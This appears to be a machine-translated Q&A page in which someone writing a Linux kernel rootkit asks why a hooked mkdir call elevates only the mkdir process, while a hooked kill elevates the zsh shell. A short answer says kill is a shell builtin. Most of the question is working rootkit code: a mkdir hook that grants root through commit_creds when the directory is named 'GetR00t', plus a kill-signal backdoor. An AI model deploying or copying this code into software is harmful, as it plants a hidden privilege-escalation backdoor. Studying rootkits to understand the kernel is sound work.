为什么从内核hook syscalls时,kill、zsh的pid是,而mkdir的pid是mkdir?

为什么从内核hook syscalls时,kill、zsh的pid是,而mkdir的pid是mkdir?

我正在编写自己的 rootkit 来了解 Linux 内核。我想连接到一个系统调用并将当前任务的凭据更改为根的凭据(ieeuid=0)。我看到你可以在运行kill时使用未使用的信号来做到这一点。如果您连接到kill,您可以捕获该信号,检查它是否与您设置的信号匹配,然后运行您的函数来更改为当前用户root提供的凭据。

但是,当挂接到 mkdir 等其他系统调用时,这不起作用。这是因为运行 mkdir 时的当前进程是 mkdir 本身。但是,运行kill时的当前进程是我的zsh shell,因此给了我root权限。

我想在挂接 mkdir 时获得 root 权限,但由于上述原因,这不起作用,只能将 mkdir 更改为以 root 身份运行,而不是我的 zsh 实例。

我正在阅读 LWN 的一些页面(https://static.lwn.net/images/pdf/LDD3/ch02.pdf)并且它说“在执行系统调用期间,例如 open 或 read,当前进程是调用该调用的进程。”这让我相信 mkdir 的当前进程应该是 zsh,因为这是调用该调用的进程。

这是我挂接到 mkdir 的代码

static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int fh_sys_mkdir(const struct pt_regs *regs)
{
    void set_root(void);

    printk(KERN_INFO "Intercepting mkdir call");
    
    char __user *pathname = (char *)regs->di;
    char dir[255] = {0};

    long err = strncpy_from_user(dir, pathname, 254);

    
    if (err > 0)
        {
        printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
        }
        


    if ( (strcmp(dir, "GetR00t") == 0) )
        {
            //execl(SHELL, "sh", NULL);
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }

    printk(KERN_INFO "ORIGINAL CALL");
    return orig_mkdir(regs);
    
}
    

以下是我如何更改凭据以获取 root 权限。

void set_root(void)
      {
           printk(KERN_INFO "set_root called");
           printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

           struct cred *root;
           root = prepare_creds();
           
           if (root == NULL)
           {
               printk(KERN_INFO "root is NULL");
               return;
           }

            printk(KERN_INFO "Setting privileges... ");
           /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
            root->uid.val = root->gid.val = 0;
            root->euid.val = root->egid.val = 0;
            root->suid.val = root->sgid.val = 0;
            root->fsuid.val = root->fsgid.val = 0;


           /* Set the credentials to root */
           printk(KERN_INFO "Commiting creds");
           commit_creds(root);

      }

这是当我运行kill和当我运行mkdir时显示pid的日志:

$ sudo tail /var/log/syslog 
[...SNIP...]
Jan 22 10:44:43 kali kernel: [ 6170.003662] The process is "mkdir" (pid 3338) //PID of current process when mkdir is ran
Jan 22 10:46:14 kali kernel: [ 6260.534752] The process is "zsh" (pid 1396) // PID of current process when kill is ran

这是它如何工作的演示:

┌──(kali㉿kali)-[~/Documents]
└─$ mkdir GetR00t            
                                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/Documents]
└─$
----------------------------------------
┌──(kali㉿kali)-[~/Documents]
└─$ kill -64 1
                                                                                                                                                                                                                                                              
┌──(root

答案1

kill命令内置于 中zsh,因此这就是所涉及的过程。mkdir是一个单独的命令。

相关内容